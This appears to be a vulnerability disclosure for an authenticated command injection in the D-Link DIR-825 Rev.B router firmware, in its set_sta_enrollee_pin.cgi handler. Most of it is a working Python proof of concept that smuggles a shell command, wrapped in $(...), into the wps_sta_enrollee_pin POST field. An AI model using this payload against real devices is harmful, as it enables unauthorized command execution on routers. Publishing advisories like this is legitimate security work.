Description

there is a command injection vulnerability that can cause any system command to be executed after user authentication

Vulnerability location: file: /sbin/httpd

The attacker calls this function by sending a post packet to the http://ip/set_sta_enrollee_pin.cgi

Firmware version

version: Rev.B 2.10
download link: ftp://ftp2.dlink.com/SECURITY_ADVISEMENTS/DIR-825/REVB/

Post package

```
ip = "http://192.168.0.1/"

url = ip + 'set_sta_enrollee_pin.cgi'

command = "a'$(echo 3 > /tmp/hello3)'b"

payload = {
    "wps_sta_enrollee_pin": command,
    "html_response_page": "do_wps.asp",
    "html_response_return_page": "do_wps.asp",
}

r = requests.post(url, data=payload)
```

Exploit exp

```
python3 enrollee-pin-comm.py
```

Example output